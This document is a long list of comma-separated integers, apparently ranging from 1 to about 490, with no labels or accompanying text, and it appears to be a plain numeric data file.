390, 159, 222, 229, 45, 124, 253, 379, 313, 41, 64, 53, 302, 61, 412, 435, 83, 86, 136, 20, 205, 310, 169, 328, 192, 273, 376, 148, 398, 67, 341, 337, 256, 188, 140, 416, 416, 167, 485, 374, 224, 420, 231, 336, 268, 426, 403, 184, 133, 461, 114, 231, 262, 350, 177, 74, 170, 136, 253, 111, 194, 314, 146, 380, 126, 373, 189, 446, 244, 9, 1, 276, 314, 358, 49, 273, 95, 174, 421, 317, 471, 402, 453, 131, 63, 292, 371, 24, 172, 35, 104, 422, 451, 283, 407, 451, 342, 198, 333, 116, 99, 280, 441, 354, 444, 171, 130, 356, 377, 34, 256, 294, 236, 283, 47, 396, 97, 66, 391, 261, 480, 349, 38, 273, 426, 302, 353, 66, 453, 17, 452, 178, 331, 265, 244, 397, 17, 272, 3, 490, 120, 27, 266, 81, 25, 377, 351, 302, 406, 26, 288, 151, 448, 74, 479, 96, 71, 93, 367, 89, 64, 465, 314, 474, 28, 393, 346, 370, 139, 229, 374, 399, 269, 365, 251, 173, 409, 30, 82, 213, 118, 63, 264, 197, 60, 291, 253, 204, 390, 428, 234, 112, 36, 184, 285, 299, 10, 472, 175, 352, 361, 277, 251, 439, 113, 235, 180, 57, 347, 441, 390, 288, 56, 121, 105, 141, 476, 134, 64, 461, 167, 300, 459, 349, 72, 91, 71, 191, 425, 180, 168, 174, 318, 126, 33, 128, 137, 222, 133, 140, 360, 152, 229, 242, 346, 326, 444, 148, 323, 251, 371, 110, 67, 475, 211, 166, 324, 468, 459, 201, 385, 442, 218, 155, 368, 341, 155, 99, 355, 188, 299, 88, 81, 185, 186, 64, 104, 209, 449, 455, 175, 260, 103, 249, 53, 469, 241, 290, 257, 388, 292, 141, 88, 194, 375, 367, 136, 125, 27, 192, 393, 77, 379, 416, 207, 59, 113, 215, 206, 446, 405, 163, 124, 203, 381, 56, 132, 17, 212, 375, 201, 375, 296, 142, 299, 272, 119, 317, 43, 172, 255, 401, 148, 397, 233, 188, 132, 359, 72, 85, 419, 177, 172, 90, 292, 301, 181, 193, 7, 408, 154, 412, 241, 175, 325, 308, 433, 223, 59, 415, 4, 224, 172, 54, 125, 49, 272, 150, 282, 380, 154, 192, 97, 456, 457, 406, 114, 48, 205, 482, 12, 237, 347, 282, 39, 115, 159, 295, 457, 349, 165, 386, 245, 207, 466, 314, 103, 71, 75, 310, 464, 222, 456, 47, 239, 167, 79, 40, 295, 345, 380, 342, 412, 293, 148, 101, 21, 480, 435, 84, 471, 488, 111, 475, 238, 216, 302, 162, 404, 108, 213, 434, 372, 354, 12, 326, 305, 421, 233, 31, 359, 317, 320, 138, 344, 295, 157, 406, 180, 277, 273, 402, 375, 107, 218, 333, 365, 486, 416, 256, 272, 9, 471, 290, 40, 131, 4, 364, 32, 80, 287, 222, 10, 249, 374, 143, 324, 272, 414, 83, 368, 258, 407, 366, 183, 402, 113, 405, 444, 48, 332, 79, 106, 195, 420, 167, 372, 232, 462, 9, 1, 419, 49, 81, 183, 64, 364, 431, 326, 229, 2, 442, 166, 333, 416, 46, 187, 50, 265, 437, 428, 245, 210, 245, 244, 472, 436, 451, 331, 209, 119, 158, 376, 172, 114, 43, 197, 51, 480, 210, 433, 380, 280, 43, 173, 150, 150, 348, 403, 201, 12, 394, 248, 204, 101, 359, 300, 330, 352, 107, 259, 175, 408, 31, 233, 235, 357, 280, 362, 171, 214, 399, 393, 130, 213, 182, 227, 319, 74, 431, 204, 87, 147, 117, 201, 197, 419, 166, 140, 424, 31, 316, 452, 34, 60, 438, 315, 304, 228, 119, 448, 467, 454, 143, 18, 470, 420, 435, 31, 449, 69, 314, 187, 335, 279, 131, 321, 314, 225, 63, 309, 467, 442, 420, 84, 46, 265, 398, 275, 455, 174, 436, 471, 381, 30, 274, 413, 84, 190, 11, 113, 277, 433, 279, 68, 416, 148, 455, 396, 300, 426, 380, 36, 463, 209, 183, 209, 291, 484, 116, 195, 130, 76, 27, 248, 296, 307, 215, 429, 260, 191, 111, 122, 241, 413, 106, 188, 60, 338, 247, 169, 211, 273, 397, 117, 126, 490, 209, 346, 292, 338, 434, 365, 210, 45, 397, 248, 372, 255, 73, 258, 262, 279, 435, 231, 110, 334, 171, 190, 266, 477, 313, 36, 489, 6, 202, 54, 82, 14, 360, 411, 312, 118, 95, 350, 244, 49, 104, 270, 158, 453, 386, 205, 68, 411, 56, 59, 177, 99, 184, 134, 398, 358, 84, 413, 98, 469, 165, 343, 285, 100, 230, 148, 180, 439, 193, 279, 350, 247, 434, 135, 24, 202, 230, 241, 410, 46, 329, 205, 369, 65, 101, 83, 297, 99, 143, 341, 279, 245, 271, 182, 300, 210, 219, 483, 400, 191, 335, 442, 52, 139, 165, 374, 96, 168, 145, 140, 244, 271, 28, 12, 460, 36, 248, 62, 186, 93, 417, 96, 296, 432, 446, 341, 92, 178, 215, 428, 249, 324, 273, 56, 396, 19, 2, 390, 456, 455, 324, 315, 483, 197, 130, 475, 65, 341, 370, 176, 397, 51, 338, 352, 327, 261, 332, 65, 434, 66, 421, 87, 478, 280, 448, 212, 244, 461, 40, 121, 135, 14, 116, 311, 77, 119, 455, 401, 127, 95, 277, 296, 450, 170, 82, 317, 17, 138, 458, 367, 400, 429, 57, 265, 429, 118, 13, 450, 486, 161, 54, 269, 150, 58, 450, 114, 88, 387, 359, 129, 172, 35, 197, 288, 251, 86, 45, 57, 383, 435, 74, 296, 93, 460, 3, 368, 98, 260, 426, 41, 417, 251, 28, 479, 461, 269, 441, 250, 300, 383, 33, 10, 464, 320, 119, 484, 120, 75, 448, 27, 173, 136, 9, 148, 99, 226, 114, 449, 276, 196, 20, 18, 161, 76, 309, 371, 273, 354, 6, 239, 261, 453, 429, 202, 272, 195, 113, 341, 179, 146, 222, 90, 108, 259, 67, 257, 47, 375, 432, 101, 66, 354, 488, 308, 170, 344, 394, 213, 5, 148, 161, 364, 217, 393, 244, 102, 61, 400, 116, 176, 395, 114, 474, 63, 111, 46, 365, 127, 368, 90, 27, 382, 412, 90, 250, 219, 451, 230, 152, 70, 350, 44, 420, 171, 260, 192, 207, 27, 33, 310, 312, 149, 434, 209, 94, 326, 47, 152, 190, 265, 459, 176, 200, 39, 202, 157, 158, 373, 202, 50, 220, 38, 371, 385, 256, 223, 304, 345, 6, 278, 407, 424, 315, 168, 315, 265, 143, 331, 116, 93, 268, 35, 148, 196, 358, 23, 71, 170, 332, 276, 147, 480, 255, 238, 315, 300, 51, 13, 420, 485, 117, 430, 398, 149, 482, 412, 39, 271, 38, 80, 125, 357, 105, 376, 118, 489, 130, 68, 63, 108, 457, 191, 190, 204, 244, 60, 75, 373, 453, 436, 301, 206, 363, 466, 80, 331, 477, 301, 16, 250, 154, 273, 181, 77, 205, 56, 314, 34, 463, 187, 370, 362, 7, 455, 379, 111, 447, 190, 324, 349, 33, 348, 14, 260, 288, 40, 411, 221, 216, 280, 483, 54, 202, 301, 190, 432, 237, 464, 5, 215, 437, 49, 34, 10, 305, 472, 236, 59, 339, 20, 39, 418, 431, 32, 179, 352, 455, 53, 372, 294, 421, 481, 96, 69, 60, 235, 357, 359, 483, 249, 165, 89, 275, 78, 424, 311, 460, 131, 278, 176, 400, 480, 78, 65, 130, 294, 65, 430, 353, 71, 36, 339, 123, 186, 412, 60, 451, 50, 219, 478, 456, 113, 394, 127, 235, 486, 273, 168, 303, 235, 368, 302, 161, 288, 158, 465, 342, 40, 482, 449, 357, 450, 338, 296, 22, 163, 17, 443, 333, 138, 238, 139, 77, 217, 398, 341, 357, 100, 153, 390, 270, 232, 327, 309, 224, 148, 13, 24, 72, 28, 18, 152, 302, 28, 449, 383, 402, 54, 473, 247, 157, 356, 463, 134, 327, 261, 141, 61, 115, 459, 120, 54, 461, 401, 235, 161, 203, 204, 460, 96, 290, 36, 291, 387, 178, 124, 144, 45, 490, 122, 334, 459, 302, 321, 161, 279, 27, 232, 60, 297, 249, 404, 351, 152, 233, 391, 429, 352, 31, 246, 224, 92, 430, 269, 71, 394, 320, 227, 284, 357, 163, 189, 10, 20, 118, 252, 105, 252, 38, 250, 490, 335, 455, 443, 145, 223, 316, 64, 19, 404, 207, 288, 2, 360, 252, 381, 134, 449, 199, 198, 298, 204, 470, 409, 103, 17, 63, 384, 452, 218, 280, 112, 235, 34, 104, 309, 261, 471, 178, 87, 46, 328, 449, 488, 5, 99, 403, 425, 50, 472, 445, 423, 378, 428, 328, 281, 121, 259, 77, 475, 360, 482, 211, 7, 16, 228, 436, 229, 171, 374, 170, 186, 329, 120, 364, 490, 297, 191, 207, 196, 210, 431, 156, 38, 478, 153, 84, 192, 107, 439, 428, 309, 1, 14, 249, 486, 201, 281, 107, 303, 56, 209, 448, 233, 248, 431, 409, 105, 414, 417, 65, 221, 164, 446, 442, 20, 131, 200, 299, 276, 35, 238, 14, 112, 12, 218, 41, 103, 177, 44, 263, 448, 12, 228, 2, 17, 112, 283, 120, 229, 189, 426, 384, 377, 455, 403, 153, 88, 360, 416, 178, 58, 388, 333, 357, 479, 156, 189, 378, 211, 135, 380, 487, 48, 369, 181, 136, 20, 22, 437, 223, 432, 14, 144, 214, 18, 10, 116, 442, 89, 383, 470, 79, 268, 424, 195, 442, 406, 105, 327, 256, 454, 72, 306, 71, 179, 419, 291, 301, 10, 228, 154, 159, 152, 333, 300, 209, 190, 186, 482, 155, 205, 366, 373, 367, 389, 138, 52, 375, 86, 136, 160, 288, 297, 164, 487, 229, 104, 167, 436, 74, 331, 133, 148, 264, 21, 25, 387, 69, 440, 147, 205, 49, 138, 330, 255, 83, 385, 6, 214, 307, 412, 373, 47, 400, 117, 118, 361, 248, 71, 367, 141, 59, 467, 317, 346, 187, 391, 357, 237, 189, 482, 444, 173, 407, 172, 424, 450, 220, 221, 400, 180, 188, 120, 347, 194, 206, 421, 251, 159, 461, 157, 68, 60, 323, 307, 369, 388, 220, 445, 343, 17, 387, 198, 315, 319, 347, 167, 418, 216, 123, 451, 4, 258, 58, 364, 47, 196, 429, 137, 192, 150, 488, 301, 299, 486, 59, 153, 261, 266, 289, 439, 133, 227, 17, 105, 298, 129, 477, 323, 113, 278, 447, 442, 227, 99, 123, 233, 133, 418, 380, 480, 442, 271, 189, 291, 43, 291, 66, 221, 233, 19, 467, 310, 89, 58, 176, 222, 255, 178, 449, 458, 177, 272, 408, 394, 442, 22, 416, 207, 335, 293, 167, 248, 259, 452, 149, 89, 319, 346, 210, 73, 208, 198, 176, 343, 18, 357, 450, 99, 46, 262, 202, 365, 88, 122, 152, 221, 265, 470, 473, 215, 19, 398, 174, 182, 264, 422, 399, 490, 174, 108, 328, 267, 464, 274, 116, 223, 127, 387, 480, 255, 148, 455, 215, 355, 231, 339, 76, 318, 91, 317, 444, 467, 296, 147, 16, 205, 336, 306, 203, 182, 333, 259, 199, 397, 80, 86, 349, 66, 5, 117, 33, 77, 429, 14, 288, 175, 220, 373, 417, 156, 95, 275, 115, 210, 421, 101, 262, 171, 127, 286, 295, 91, 170, 214, 128, 47, 465, 399, 112, 383, 445, 485, 32, 357, 176, 347, 348, 370, 467, 292, 292, 386, 139, 276, 395, 113, 78, 430, 466, 132, 136, 35, 283, 141, 41, 387, 142, 240, 13, 31, 161, 183, 480, 119, 412, 484, 89, 95, 479, 187, 281, 413, 135, 450, 436, 486, 226, 227, 236, 144, 6, 312, 45, 221, 345, 167, 265, 249, 275, 145, 87, 289, 171, 3, 402, 409, 142, 478, 41, 40, 223, 279, 352, 203, 388, 223, 70, 429, 369, 11, 412, 120, 224, 348, 25, 314, 152, 474, 173, 283, 231, 450, 125, 45, 167, 381, 214, 340, 257, 17, 349, 182, 208, 187, 221, 201, 311, 463, 134, 313, 387, 404, 223, 111, 185, 262, 182, 15, 71, 479, 314, 103, 381, 125, 117, 211, 117, 116, 31, 81, 438, 437, 126, 262, 366, 264, 209, 402, 411, 47, 272, 202, 471, 384, 352, 354, 102, 292, 214, 334, 432, 67, 96, 106, 301, 375, 202, 480, 323, 33, 74, 100, 412, 219, 282, 145, 293, 56, 483, 238, 234, 358, 338, 399, 245, 262, 210, 338, 323, 20, 22, 132, 213, 240, 81, 483, 293, 135, 337, 476, 414, 28, 475, 255, 312, 27, 322, 410, 468, 474, 347, 3, 105, 44, 89, 79, 462, 230, 295, 102, 478, 75, 135, 171, 48, 225, 229, 366, 95, 69, 385, 8, 454, 233, 370, 482, 415, 423, 48, 47, 429, 110, 356, 431, 398, 298, 47, 332, 25, 469, 286, 148, 478, 127, 192, 372, 113, 452, 302, 130, 480, 438, 398, 475, 224, 107, 256, 297, 362, 381, 179, 124, 239, 20, 471, 265, 311, 37, 295, 462, 258, 189, 156, 160, 76, 305, 336, 262, 97, 65, 207, 382, 206, 36, 326, 11, 374, 141, 213, 10, 337, 270, 25, 180, 199, 452, 403, 270, 409, 166, 377, 243, 28, 360, 470, 180, 153, 301, 103, 51, 10, 465, 140, 290, 247, 361, 259, 109, 187, 280, 486, 102, 173, 346, 384, 194, 445, 30, 231, 310, 61, 267, 339, 313, 398, 25, 471, 116, 75, 423, 11, 144, 424, 130, 11, 95, 359, 166, 369, 233, 23, 290, 473, 239, 315, 198, 381, 47, 188, 28, 177, 370, 358, 275, 334, 100, 193, 55, 439, 267, 308, 329, 414, 207, 175, 374, 298, 374, 9, 455, 473, 99, 461, 406, 301, 55, 131, 170, 122, 61, 330, 425, 166, 313, 360, 71, 197, 299, 35, 118, 367, 81, 8, 19, 269, 369, 472, 32, 169, 137, 48, 390, 318, 132, 398, 11, 436, 253, 470, 310, 164, 80, 460, 325, 279, 233, 127, 126, 99, 48, 308, 379, 413, 33, 296, 38, 45, 356, 304, 139, 23, 59, 212, 415, 180, 249, 145, 479, 47, 430, 427, 246, 199, 350, 469, 415, 98, 246, 83, 167, 9, 178, 77, 72, 108, 441, 172, 143, 274, 148, 159, 245, 439, 422, 422, 405, 117, 371, 195, 221, 402, 229, 412, 229, 116, 391, 78, 335, 456, 170, 133, 197, 412, 63, 258, 462, 308, 445, 308, 168, 480, 266, 260, 295, 366, 127, 162, 117, 303, 45, 282, 404, 14, 212, 480, 225, 243, 281, 436, 394, 252, 128, 132, 453, 193, 358, 487, 324, 351, 357, 402, 152, 127, 354, 256, 474, 208, 483, 221, 205, 68, 366, 35, 402, 170, 17, 112, 281, 465, 414, 455, 334, 40, 296, 300, 229, 418, 59, 186, 453, 51, 206, 442, 273, 17, 230, 385, 29, 452, 301, 97, 246, 43, 125, 390, 30, 107, 318, 338, 411, 129, 360, 143, 207, 357, 214, 440, 394, 399, 48, 110, 280, 231, 123, 74, 111, 383, 196, 225, 276, 264, 68, 60, 96, 282, 464, 112, 305, 119, 429, 452, 408, 74, 113, 323, 400, 475, 164, 142, 365, 57, 471, 420, 222, 156, 270, 304, 210, 20, 99, 299, 97, 150, 183, 155, 137, 6, 92, 467, 74, 278, 435, 92, 256, 211, 184, 305, 79, 277, 243, 134, 122, 308, 275, 416, 22, 438, 345, 488, 171, 60, 135, 353, 80, 276, 168, 126, 269, 354, 273, 259, 43, 78, 206, 447, 291, 447, 463, 453, 385, 103, 121, 316, 140, 429, 3, 169, 318, 182, 78, 414, 286, 231, 426, 264, 76, 51, 182, 201, 386, 381, 348, 261, 325, 82, 309, 265, 209, 429, 283, 404, 158, 415, 340, 200, 381, 437, 444, 315, 274, 363, 270, 294, 95, 270, 236, 454, 23, 76, 202, 232, 79, 104, 120, 463, 420, 320, 301, 163, 360, 385, 46, 2, 38, 264, 459, 46, 152, 53, 238, 4, 198, 364, 61, 241, 246, 196, 477, 420, 412, 343, 425, 3, 345, 321, 365, 161, 409, 253, 401, 469, 425, 225, 182, 286, 350, 447, 339, 436, 177, 299, 210, 206, 82, 473, 229, 121, 55, 329, 180, 490, 414, 357, 206, 177, 446, 218, 30, 31, 175, 288, 286, 252, 216, 225, 475, 353, 36, 194, 210, 9, 314, 62, 343, 362, 390, 417, 56, 417, 161, 216, 481, 477, 38, 203, 434, 411, 69, 41, 456, 114, 262, 461, 371, 349, 417, 323, 13, 456, 46, 394, 311, 289, 472, 351, 197, 421, 304, 313, 407, 166, 464, 139, 322, 208, 490, 386, 206, 80, 263, 128, 417, 79, 35, 418, 465, 325, 300, 219, 13, 390, 60, 273, 454, 6, 196, 277, 465, 253, 95, 446, 470, 287, 102, 389, 391, 135, 293, 398, 271, 42, 33, 352, 205, 390, 470, 257, 330, 274, 404, 435, 154, 398, 50, 217, 329, 353, 454, 254, 183, 299, 373, 248, 487, 167, 68, 48, 350, 340, 39, 221, 123, 65, 147, 110, 307, 81, 460, 88, 450, 161, 11, 264, 401, 355, 472, 435, 357, 9, 155, 241, 155, 201, 276, 33, 478, 352, 332, 388, 369, 473, 283, 429, 34, 70, 144, 427, 483, 149, 85, 397, 275, 444, 354, 479, 32, 413, 123, 324, 354, 174, 433, 222, 306, 336, 337, 227, 263, 346, 445, 10, 70, 72, 451, 434, 388, 426, 60, 202, 459, 71, 126, 3, 475, 153, 248, 367, 248, 441, 74, 26, 211, 405, 338, 473, 227, 202, 214, 336, 345, 295, 306, 60, 102, 404, 152, 283, 446, 297, 430, 67, 472, 129, 281, 133, 400, 185, 162, 352, 439, 121, 464, 48, 450, 48, 129, 164, 151, 368, 331, 65, 448, 223, 113, 3, 431, 78, 315, 3, 278, 373, 221, 82, 174, 442, 124, 404, 426, 78, 331, 73, 297, 121, 388, 223, 115, 443, 456, 384, 166, 47, 96, 195, 146, 484, 189, 261, 1, 190, 58, 314, 296, 391, 193, 45, 446, 453, 16, 410, 306, 481, 250, 193, 174, 130, 480, 360, 25, 394, 55, 303, 272, 410, 199, 203, 351, 422, 377, 59, 113, 423, 444, 299, 344, 97, 150, 196, 271, 264, 428, 333, 31, 205, 270, 206, 280, 16, 175, 362, 442, 300, 16, 40, 210, 229, 38, 291, 328, 424, 130, 338, 377, 447, 388, 82, 304, 484, 12, 398, 61, 109, 413, 34, 236, 490, 242, 191, 1, 249, 223, 46, 394, 170, 419, 153, 420, 26, 147, 124, 51, 219, 151, 29, 424, 395, 434, 62, 26, 424, 247, 440, 290, 76, 217, 324, 333, 43, 226, 200, 102, 11, 488, 326, 424, 371, 226, 384, 72, 241, 331, 148, 417, 166, 16, 267, 367, 176, 416, 179, 43, 388, 254, 301, 182, 247, 485, 82, 104, 363, 424, 89, 128, 466, 30, 149, 75, 191, 77, 390, 245, 232, 324, 153, 340, 436, 88, 247, 230, 255, 353, 23, 107, 294, 200, 355, 214, 49, 329, 28, 303, 50, 441, 458, 77, 416, 137, 256, 109, 483, 152, 467, 76, 265, 483, 136, 203, 151, 413, 88, 276, 321, 123, 12, 111, 209, 467, 291, 269, 411, 231, 182, 156, 311, 357, 390, 54, 378, 405, 407, 217, 118, 406, 478, 280, 345, 447, 437, 214, 227, 316, 480, 469, 431, 436, 29, 278, 91, 271, 272, 454, 489, 373, 195, 104, 483, 363, 170, 125, 302, 282, 313, 151, 404, 35, 280, 111, 238, 68, 19, 9, 173, 280, 216, 148, 214, 372, 376, 28, 441, 106, 161, 293, 177, 299, 237, 245, 273, 171, 129, 426, 314, 73, 331, 206, 251, 388, 350, 408, 453, 321, 475, 11, 180, 244, 290, 6, 205, 125, 22, 341, 417, 72, 46, 154, 24, 375, 110, 243, 174, 398, 218, 343, 474, 450, 217, 383, 120, 406, 319, 49, 480, 322, 101, 346, 206, 107, 419, 205, 484, 456, 299, 95, 209, 40, 278, 481, 17, 399, 129, 198, 482, 38, 74, 298, 61, 211, 101, 276, 95, 193, 361, 311, 92, 57, 425, 436, 129, 343, 81, 339, 360, 137, 137, 345, 401, 82, 223, 144, 459, 449, 490, 490, 209, 239, 474, 33, 310, 1, 85, 420, 59, 428, 410, 312, 366, 460, 423, 382, 358, 343, 50, 203, 333, 487, 381, 93, 188, 114, 9, 59, 86, 459, 167, 358, 3, 475, 463, 9, 57, 290, 386, 202, 447, 392, 276, 256, 329, 391, 181, 431, 390, 260, 108, 421, 23, 243, 55, 325, 241, 292, 379, 349, 381, 200, 64, 79, 347, 408, 204, 63, 10, 216, 400, 398, 367, 31, 283, 430, 368, 73, 414, 188, 36, 20, 376, 331, 2, 398, 251, 253, 48, 484, 447, 352, 352, 79, 489, 90, 408, 459, 461, 20, 381, 133, 50, 67, 461, 144, 364, 22, 338, 390, 437, 195, 228, 236, 337, 468, 47, 394, 145, 40, 201, 188, 322, 58, 56, 367, 193, 45, 264, 351, 168, 32, 364, 287, 103, 322, 46, 230, 323, 78, 400, 30, 286, 285, 407, 79, 468, 411, 2, 181, 115, 431, 9, 376, 290, 348, 108, 428, 17, 351, 159, 173, 118, 419, 402, 467, 326, 272, 357, 398, 392, 243, 123, 376, 70, 171, 164, 225, 358, 454, 185, 253, 186, 406, 310, 269, 93, 189, 384, 164, 315, 151, 401, 317, 244, 187, 219, 405, 293, 305, 481, 176, 295, 119, 295, 243, 151, 151, 258, 284, 408, 471, 388, 158, 360, 301, 428, 177, 209, 17, 379, 342, 142, 211, 208, 230, 446, 22, 52, 370, 252, 433, 269, 208, 407, 71, 252, 212, 241, 380, 288, 63, 113, 479, 13, 138, 97, 231, 446, 375, 290, 55, 331, 202, 176, 261, 141, 223, 397, 154, 11, 393, 128, 26, 143, 447, 262, 323, 59, 482, 31, 370, 482, 386, 148, 97, 52, 414, 292, 215, 486, 87, 476, 381, 337, 452, 430, 39, 330, 432, 324, 241, 24, 330, 109, 364, 381, 366, 81, 237, 240, 234, 277, 164, 421, 101, 488, 200, 107, 368, 431, 352, 205, 429, 178, 7, 315, 198, 82, 225, 172, 446, 375, 299, 430, 439, 273, 147, 169, 131, 474, 246, 214, 374, 347, 346, 22, 315, 375, 364, 159, 29, 69, 337, 325, 309, 257, 52, 275, 69, 461, 467, 357, 257, 358, 221, 467, 185, 368, 327, 143, 217, 384, 390, 78, 199, 239, 482, 85, 354, 122, 394, 272, 50, 111, 36, 79, 476, 382, 194, 315, 436, 5, 233, 453, 485, 95, 402, 76, 343, 34, 252, 299, 263, 125, 360, 145, 33, 267, 266, 291, 229, 228, 107, 474, 199, 164, 249, 358, 424, 135, 203, 360, 101, 249, 81, 150, 33, 441, 134, 72, 165, 333, 409, 315, 241, 198, 175, 400, 269, 210, 187, 347, 47, 484, 223, 143, 158, 478, 309, 453, 390, 137, 43, 226, 48, 407, 224, 441, 71, 372, 432, 314, 287, 409, 19, 250, 11, 388, 141, 470, 435, 215, 250, 263, 4, 486, 414, 477, 381, 165, 363, 131, 318, 25, 484, 449, 207, 468, 202, 265, 437, 19, 46, 95, 248, 144, 49, 330, 262, 378, 294, 487, 9, 391, 173, 73, 308, 349, 297, 24, 54, 49, 317, 287, 293, 402, 119, 13, 486, 168, 341, 301, 218, 399, 281, 161, 68, 290, 85, 448, 239, 6, 421, 189, 406, 453, 135, 450, 229, 184, 291, 437, 457, 324, 314, 268, 294, 154, 420, 14, 23, 265, 372, 294, 218, 66, 75, 432, 162, 373, 328, 150, 41, 215, 215, 365, 310, 314, 34, 3, 16, 349, 168, 34, 98, 49, 292, 80, 302, 148, 19, 150, 245, 330, 9, 387, 308, 100, 375, 381, 110, 293, 405, 423, 64, 207, 200, 229, 389, 164, 82, 83, 380, 271, 196, 94, 227, 232, 319, 126, 143, 489, 191, 192, 115, 70, 351, 479, 13, 427, 118, 398, 218, 487, 3, 72, 234, 467, 371, 229, 284, 166, 369, 204, 358, 451, 336, 378, 68, 317, 312, 288, 376, 306, 230, 189, 189, 451, 430, 155, 347, 423, 298, 295, 489, 408, 261, 334, 403, 387, 269, 426, 394, 345, 447, 99, 382, 146, 308, 217, 354, 75, 421, 367, 211, 481, 318, 287, 427, 326, 266, 71, 49, 252, 166, 274, 281, 445, 140, 366, 387, 476, 77, 99, 30, 6, 472, 334, 272, 9, 168, 191, 200, 146, 474, 423, 344, 241, 185, 34, 317, 389, 395, 323, 412, 192, 359, 420, 264, 411, 52, 373, 399, 474, 270, 85, 465, 364, 413, 479, 108, 203, 392, 52, 253, 485, 303, 207, 462, 432, 229, 477, 347, 171, 428, 206, 229, 279, 7, 356, 136, 27, 356, 488, 81, 401, 236, 74, 490, 364, 152, 311, 107, 69, 127, 465, 359, 419, 410, 230, 337, 386, 45, 286, 112, 99, 5, 151, 268, 25, 139, 293, 142, 390, 368, 413, 113, 30, 428, 365, 326, 377, 45, 260, 217, 189, 370, 32, 446, 482, 24, 187, 392, 488, 313, 356, 86, 209, 321, 217, 197, 287, 291, 300, 73, 414, 473, 381, 11, 143, 139, 473, 25, 379, 416, 375, 26, 326, 312, 489, 46, 327, 462, 352, 272, 267, 244, 262, 139, 360, 239, 382, 7, 35, 150, 61, 174, 310, 57, 175, 392, 423, 216, 176, 465, 462, 98, 428, 33, 88, 319, 296, 19, 23, 266, 103, 332, 454, 42, 401, 329, 185, 386, 73, 314, 262, 233, 381, 166, 230, 461, 161, 475, 395, 30, 376, 105, 162, 387, 211, 186, 1, 238, 118, 88, 220, 249, 173, 489, 215, 305, 202, 17, 375, 383, 33, 268, 127, 144, 136, 40, 459, 29, 204, 225, 387, 315, 201, 380, 239, 57, 246, 298, 53, 82, 408, 57, 327, 106, 80, 324, 150, 135, 449, 387, 258, 311, 445, 315, 56, 327, 111, 411, 93, 272, 304, 430, 161, 488, 6, 382, 126, 374, 412, 192, 412, 419, 287, 400, 172, 282, 196, 358, 104, 14, 259, 189, 11, 447, 189, 412, 60, 438, 245, 188, 279, 434, 272, 267, 58, 149, 286, 206, 466, 36, 27, 331, 196, 83, 125, 1, 427, 384, 71, 482, 41, 160, 345, 62, 311, 242, 162, 428, 81, 106, 200, 351, 318, 413, 98, 411, 471, 292, 10, 67, 118, 225, 161, 84, 394, 305, 352, 482, 473, 233, 134, 93, 155, 258, 453, 338, 367, 264, 444, 43, 132, 430, 425, 153, 472, 202, 427, 188, 22, 384, 467, 200, 303, 458, 199, 204, 386, 314, 142, 79, 473, 382, 351, 39, 185, 101, 404, 469, 269, 343, 61, 107, 186, 183, 468, 16, 343, 323, 455, 417, 130, 333, 270, 93, 478, 95, 420, 203, 223, 475, 16, 360, 463, 448, 238, 175, 275, 254, 378, 477, 345, 98, 425, 172, 252, 313, 414, 182, 61, 425, 162, 290, 229, 361, 272, 435, 333, 64, 477, 470, 76, 310, 401, 47, 359, 389, 383, 275, 372, 366, 450, 70, 140, 314, 386, 72, 465, 382, 256, 221, 407, 458, 159, 218, 166, 292, 19, 418, 343, 329, 137, 74, 364, 356, 218, 268, 381, 389, 154, 467, 109, 249, 295, 205, 195, 326, 117, 485, 116, 425, 6, 315, 213, 296, 375, 97, 68, 421, 473, 20, 394, 480, 388, 278, 6, 453, 287, 61, 279, 419, 57, 397, 455, 259, 340, 444, 300, 99, 354, 465, 434, 284, 61, 205, 56, 273, 230, 171, 149, 90, 299, 435, 134, 198, 226, 293, 386, 24, 424, 76, 44, 296, 9, 251, 100, 132, 79, 310, 295, 105, 372, 425, 319, 191, 490, 136, 84, 44, 240, 288, 441, 371, 248, 472, 409, 352, 224, 168, 70, 425, 6, 13, 412, 450, 63, 196, 377, 433, 348, 15, 100, 330, 68, 92, 260, 149, 420, 70, 248, 322, 407, 30, 100, 463, 75, 31, 301, 196, 463, 402, 471, 148, 362, 357, 179, 240, 479, 83, 268, 483, 34, 461, 459, 168, 389, 32, 300, 404, 485, 362, 440, 407, 127, 16, 400, 358, 358, 283, 182, 265, 105, 81, 95, 216, 158, 340, 473, 383, 99, 62, 55, 360, 69, 436, 84, 248, 361, 483, 144, 196, 194, 218, 108, 159, 220, 412, 376, 386, 220, 134, 387, 452, 29, 172, 360, 276, 101, 365, 361, 322, 311, 44, 42, 133, 421, 133, 139, 452, 425, 324, 103, 53, 413, 193, 245, 420, 3, 126, 89, 374, 133, 52, 19, 318, 106, 99, 146, 179, 201, 394, 87, 286, 35, 143, 289, 53, 423, 380, 395, 283, 377, 178, 358, 252, 389, 426, 402, 219, 336, 462, 37, 416, 183, 329, 467, 194, 228, 194, 259, 248, 150, 357, 459, 161, 30, 168, 76, 93, 488, 170, 1, 258, 172, 333, 154, 57, 208, 160, 444, 381, 326, 215, 136, 486, 149, 262, 155, 183, 277, 378, 444, 476, 103, 207, 151, 221, 128, 288, 257, 370, 182, 235, 208, 74, 224, 267, 141, 309, 228, 226, 140, 302, 50, 304, 107, 449, 377, 248, 172, 108, 77, 30, 290, 59, 348, 241, 458, 215, 301, 31, 347, 17, 258, 420, 155, 323, 175, 63, 344, 374, 245, 337, 153, 291, 138, 295, 79, 240, 361, 24, 489, 14, 454, 488, 19, 464, 453, 280, 236, 350, 128, 108, 346, 437, 364, 489, 408, 134, 20, 260, 286, 215, 478, 2, 19, 248, 97, 394, 435, 462, 394, 225, 208, 241, 375, 35, 473, 126, 277, 123, 330, 138, 82, 73, 432, 16, 386, 293, 90, 342, 172, 423, 414, 106, 282, 412, 468, 419, 139, 175, 56, 116, 193, 350, 87, 285, 351, 252, 400, 114, 375, 155, 417, 252, 351, 84, 458, 90, 417, 6, 391, 77, 244, 410, 50, 199, 151, 308, 196, 410, 256, 409, 275, 330, 433, 479, 357, 248, 19, 9, 291, 30, 167, 22, 56, 231, 61, 345, 24, 66, 335, 255, 167, 217, 154, 384, 322, 94, 140, 432, 237, 147, 14, 464, 227, 251, 324, 60, 335, 362, 59, 157, 337, 239, 102, 444, 196, 179, 86, 299, 104, 135, 183, 124, 82, 29, 371, 264, 352, 147, 149, 157, 360, 201, 380, 23, 162, 267, 156, 99, 271, 134, 389, 230, 211, 87, 130, 436, 53, 217, 272, 18, 486, 278, 385, 104, 211, 382, 193, 322, 374, 4, 420, 319, 378, 141, 323, 169, 113, 9, 453, 360, 473, 170, 96, 268, 67, 304, 407, 41, 291, 419, 375, 364, 383, 76, 285, 64, 307, 98, 191, 266, 395, 170, 41, 370, 249, 229, 274, 206, 315, 4, 374, 